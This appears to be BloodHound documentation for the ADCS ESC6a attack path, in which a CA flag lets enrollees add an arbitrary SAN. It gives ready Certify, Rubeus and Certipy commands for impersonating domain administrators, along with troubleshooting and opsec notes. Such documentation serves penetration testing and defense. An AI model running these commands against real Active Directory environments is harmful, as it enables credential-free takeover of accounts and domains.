ADCSESC6a

This article applies to BHCE and BHE

The principal has permission to enroll on one or more certificate templates allowing for authentication.
They also have enrollment permission for an enterprise CA with the necessary templates published. This
enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest.
The enterprise CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag allowing enrollees to
specify a Subject Alternate Name (SAN) identifying another principal during certificate enrollment of
any published certificate template. This setup allow an attacker principal to obtain a malicious
certificate as any AD forest user or computer and use it for authentication and impersonation without
knowing their credentials.

 

Abuse Info

Windows

Step 1: Use Certify to request enrollment in the affected template, specifying the affected
certification authority and target principal to impersonate:

.\Certify.exe request /ca:rootdomaindc.forestroot.com\forestroot-RootDomainDC-CA /template:ESC6 /altname:ForestRootDA /url:"tag:microsoft.com,2022-09-14:sid:S-1-5-21-2697957641-2271029196-387917394-500"

If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.

Step 2: Convert the emitted certificate to PFX format:

certutil.exe -MergePFX .\cert.pem .\cert.pfx

Step 3: Use Rubeus to request a ticket granting ticket (TGT) from the domain, specifying the
target identity to impersonate and the PFX-formatted certificate created in Step 2:

 .\Rubeus.exe asktgt /certificate:cert.pfx /user:forestrootda /domain:forestroot.com /ptt

Step 4: Optionally verify the TGT by listing it with the klist command:

klist

 

Linux

Step 1: Use Certipy to request enrollment in the affected template, specifying the affected
certification authority and target principal to impersonate:

 'certipy req -u john@corp.local -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC6 -upn administrator@corp.local

If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.

Step 2: Request a ticket granting ticket (TGT) from the domain, specifying the certificate created in Step 1 and the IP of a domain controller::

 certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128

If the authentication fails then it may be because the DC enforces strong certificate mapping. This
requirement can be met by including a URL parameter in the SAN with the target's SID, however not
supported by Certipy. See the Windows abuse section for example.

 

Opsec Considerations

When the affected certificate authority issues the certificate to the attacker, it will retain a local copy
of that certificate in its issued certificates store. Defenders may analyze those issued certificates to
identify illegitimately issued certificates and identify the principal that requested the certificate, as
well as the target identity the attacker is attempting to impersonate.
 

Updated